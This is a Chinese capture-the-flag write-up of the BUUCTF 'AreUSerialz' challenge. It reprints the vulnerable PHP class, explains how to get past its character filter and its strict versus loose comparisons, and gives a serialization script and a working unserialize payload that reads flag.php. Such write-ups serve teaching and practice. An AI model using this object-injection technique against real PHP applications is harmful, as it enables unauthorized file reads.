buuctf-[网鼎杯 2020 青龙组]AreUSerialz(小宇特详解)

buuctf-[网鼎杯 2020 青龙组]AreUSerialz(小宇特详解)

 <?php
 
include("flag.php");
 
highlight_file(__FILE__);
 
class FileHandler {
 
    protected $op;//protected受保护的修饰符,被定义为受保护的类成员则可以被其自身以及其子类和父类访问
    protected $filename;
    protected $content;
 
    function __construct() {//构造函数
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();//->对象调用类的函数
    }
 
    public function process() {//process方法
        if($this->op == "1") {
            $this->write();//如果op=1就运行write函数
        } else if($this->op == "2") {//注意这个是弱比较
            $res = $this->read();//如果是op=2,运行read函数将运行完的值赋值res,然后将$res放到output函数中
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
 
    private function write() {
        if(isset($this->filename) && isset($this->content))//判断filname和content是否为空 {
            if(strlen((string)$this->content) > 100) {//判断content的长度是否大于100
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);//file_put_contents将一个字符串写入文件
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
 
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
 
    private function output($s) {//输出函数
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct() {//析构函数 该函数会在类的一个对象被删除时自动调用。
        if($this->op === "2")//注意这个是强比较
            $this->op = "1";//将1赋值给op
        $this->content = "";//将content变为空
        $this->process();
    }
 
}
 
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)//strlen判断字符串长度
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;//ord是以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值,或者 Unicode 数值
}
 
if(isset($_GET{'str'})) {
 
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
 
}

这里需要 传入一个序列化之后的类对象。

这里的is_valid()是一层防护

要求我们传入的str的每个字母的ascii值在32和125之间。

这里注意protected在序列化之后会出现不可见字符\00*\100,不符合上面的要求

这里绕过方法就是直接改成public,原因是php7.1以上的版本对属性类型不敏感类型。而public属性序列化不会 不可见字符

这里的destruct()魔术方法会在传参是2的字符的时候,对传入的参数进行赋值

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

这里的比较是===强比较,而在process()函数是弱比较

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

绕过方法:可以使传入的op是数字2,从而使第一个强比较返回false,而使第二个弱比较返回true.

在线php编辑进行序列化

<?php
 
class FileHandler {
 
    public  $op = 2;
    public  $filename = "flag.php";
    public  $content = "2";        //因为destruct函数会将content改为空,所以content的值随意(但是要满足is_valid()函数的要求)
}
 
$a = new FileHandler();
$b = serialize($a);
echo $b;
 
?>

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"2";}

payload:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"2";}

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小宇特详解

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值